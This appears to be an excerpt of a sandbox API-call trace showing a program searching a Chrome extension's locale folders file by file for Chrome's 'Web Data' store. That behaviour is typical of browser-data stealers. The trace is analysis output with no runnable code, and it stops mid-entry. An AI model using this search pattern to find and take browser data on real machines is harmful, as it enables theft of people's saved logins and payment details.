[0056.223] lstrcmpiA (lpString1="..", lpString2="no") returned -1 [0056.223] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.223] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.223] lstrlenA (lpString="\\") returned 1 [0056.223] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.223] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.223] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.223] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.223] lstrlenA (lpString="no") returned 2 [0056.223] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.223] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.223] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no" [0056.223] LocalFree (hMem=0x2daca0) returned 0x0 [0056.223] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no") returned 132 [0056.223] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no") returned 132 [0056.223] lstrlenA (lpString="\\*.*") returned 4 [0056.223] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.223] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no" [0056.223] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*.*" [0056.223] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.223] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.223] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.223] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.223] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.223] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.223] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.223] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.223] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.223] LocalFree (hMem=0x2daec0) returned 0x0 [0056.223] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.223] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.223] lstrcmpiA (lpString1=".", lpString2="pl") returned -1 [0056.223] lstrcmpiA (lpString1="..", lpString2="pl") returned -1 [0056.223] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.223] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.223] lstrlenA (lpString="\\") returned 1 [0056.223] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.223] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.223] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.223] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.223] lstrlenA (lpString="pl") returned 2 [0056.223] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.223] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.223] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl" [0056.223] LocalFree (hMem=0x2daca0) returned 0x0 [0056.224] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl") returned 132 [0056.224] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl") returned 132 [0056.224] lstrlenA (lpString="\\*.*") returned 4 [0056.224] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.224] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl" [0056.224] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*.*" [0056.224] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.224] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.224] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.224] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.224] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.224] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.224] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.224] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.224] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.224] LocalFree (hMem=0x2daec0) returned 0x0 [0056.224] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.224] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.224] lstrcmpiA (lpString1=".", lpString2="pt_BR") returned -1 [0056.224] lstrcmpiA (lpString1="..", lpString2="pt_BR") returned -1 [0056.224] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.224] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.224] lstrlenA (lpString="\\") returned 1 [0056.224] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.224] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.224] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.224] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.224] lstrlenA (lpString="pt_BR") returned 5 [0056.224] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dadb0 [0056.224] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.224] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR" [0056.224] LocalFree (hMem=0x2daca0) returned 0x0 [0056.224] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR") returned 135 [0056.224] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR") returned 135 [0056.224] lstrlenA (lpString="\\*.*") returned 4 [0056.224] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2daec0 [0056.224] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR" [0056.224] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*.*" [0056.224] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.225] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.225] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.225] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.225] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.225] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.225] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.225] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.225] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.225] LocalFree (hMem=0x2daec0) returned 0x0 [0056.225] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.225] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.225] lstrcmpiA (lpString1=".", lpString2="pt_PT") returned -1 [0056.225] lstrcmpiA (lpString1="..", lpString2="pt_PT") returned -1 [0056.225] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.225] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.225] lstrlenA (lpString="\\") returned 1 [0056.225] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.225] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.225] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.225] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.225] lstrlenA (lpString="pt_PT") returned 5 [0056.225] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dadb0 [0056.225] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.225] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT" [0056.225] LocalFree (hMem=0x2daca0) returned 0x0 [0056.225] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT") returned 135 [0056.225] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT") returned 135 [0056.225] lstrlenA (lpString="\\*.*") returned 4 [0056.225] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2daec0 [0056.225] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT" [0056.225] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*.*" [0056.225] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.225] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.225] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.225] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.225] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.225] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.225] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.225] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.225] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.225] LocalFree (hMem=0x2daec0) returned 0x0 [0056.225] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.225] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.225] lstrcmpiA (lpString1=".", lpString2="ro") returned -1 [0056.225] lstrcmpiA (lpString1="..", lpString2="ro") returned -1 [0056.226] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.226] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.226] lstrlenA (lpString="\\") returned 1 [0056.226] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.226] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.226] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 